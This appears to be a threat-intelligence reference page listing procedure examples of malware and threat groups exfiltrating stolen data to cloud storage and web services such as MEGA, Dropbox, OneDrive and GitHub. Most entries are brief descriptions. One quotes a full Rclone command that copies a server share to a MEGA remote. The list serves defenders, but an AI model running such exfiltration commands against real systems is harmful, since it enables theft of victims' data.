Procedure examples

DropBook has used legitimate web services to exfiltrate data.

Exbyte exfiltrates collected data to online file hosting sites such as `Mega.co.nz`.

OilCheck can upload documents from compromised hosts to a shared Microsoft Office 365 Outlook email account for exfiltration.

SampleCheck5000 can use the Microsoft Office Exchange Web Services API to access an actor-controlled account and retrieve files for exfiltration.

ngrok has been used by threat actors to configure servers for data exfiltration.

ShinyHunters has used compromised Salesforce CRM (Customer Relationship Management) dashboards to exfiltrate bulk data. Additionally, ShinyHunters has used LimeWire, a file-sharing service, to showcase samples of stolen data.

Shai-Hulud has created a repository named `Shai-Hulud` under the compromised account that commits a JSON dump that contains system information, environment variables and collected secrets. Shai-Hulud has also posted stolen credentials to public GitHub repositories.

Empire can use GitHub for data exfiltration.

TeamPCP Cloud Stealer can create a repository in the victim's GitHub account using the victim's own GITHUB_TOKEN to upload stolen credentials.

Mini Shai-Hulud has exfiltrated data through the use of the victim’s own GitHub repository by creating a new public repository using a unique naming convention from a curated list of key words or themes.

During Operation Dream Job, Lazarus Group used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox.

During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.

APT41 DUST exfiltrated collected information to OneDrive.

Indrik Spider has exfiltrated data using Rclone or MEGASync prior to deploying ransomware.

Kimsuky has exfiltrated stolen files and data to actor-controlled Blogspot accounts. Kimsuky has also leveraged Dropbox for uploading victim system information.

HAFNIUM has exfiltrated data to file sharing sites, including MEGA.

MuddyWater has attempted to exfiltrate data to Wasabi, a cloud storage service, using Rclone.

FIN7 has exfiltrated stolen data to the MEGA file sharing site.

Mustang Panda has also exfiltrated archived files to cloud services such as Dropbox using `curl`.

ZIRCONIUM has exfiltrated stolen data to Dropbox.

Scattered Spider has exfiltrated victim data to the MEGA file sharing site, SnowFlake, and AWS S3 buckets.

Contagious Interview has exfiltrated stolen passwords to Dropbox.

Akira will exfiltrate victim data using applications such as Rclone.

POLONIUM has exfiltrated stolen data to POLONIUM-owned OneDrive and Dropbox accounts.

Confucius has exfiltrated victim data to cloud storage service accounts.

Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.

Turla has used WebDAV to upload stolen USB files to a cloud drive. Turla has also exfiltrated stolen files to OneDrive and 4shared.

Storm-0501 has exfiltrated stolen data to the MEGA file sharing site. Storm-0501 has also utilized Rclone to exfiltrate data from victim environments to cloud storage such as MegaSync. Storm-0501 has exfiltrated data to their own infrastructure utilizing AzCopy Command-Line tool (CLI).

Cinnamon Tempest has uploaded captured keystroke logs to the Alibaba Cloud Object Storage Service, Aliyun OSS.

Chimera has exfiltrated stolen data to OneDrive accounts.

Medusa Group has utilized Rclone to exfiltrate data from victim environments to cloud storage.

Ember Bear has used tools such as Rclone to exfiltrate information from victim environments to cloud storage such as `mega.nz`.

ToddyCat has used a DropBox uploader to exfiltrate stolen files.

LuminousMoth has exfiltrated data to Google Drive.

Earth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA.

Wizard Spider has exfiltrated stolen victim data to various cloud storage providers.

HEXANE has used cloud services, including OneDrive, for data exfiltration.

Threat Group-3390 has exfiltrated stolen data to Dropbox.

Tsundere Botnet’s variant DinDoor has used Rclone to access a Wasabi server.

RainyDay can use a file exfiltration tool to upload specific files to Dropbox.

HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.

ODAgent can use an attacker-controlled OneDrive account for exfiltration.

ROKRAT can send collected data to cloud storage services such as PCloud.

Clambling can send files from a victim's machine to Dropbox.

CreepyDrive can use cloud services including OneDrive for data exfiltration.

BoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.

Crutch has exfiltrated stolen data to Dropbox.

OilBooster can exfiltrate files to an actor-controlled OneDrive account via the Microsoft Graph API.

BoomBox can upload data to dedicated per-victim folders in Dropbox.

RIFLESPINE can upload results from executed C2 commands to cloud storage.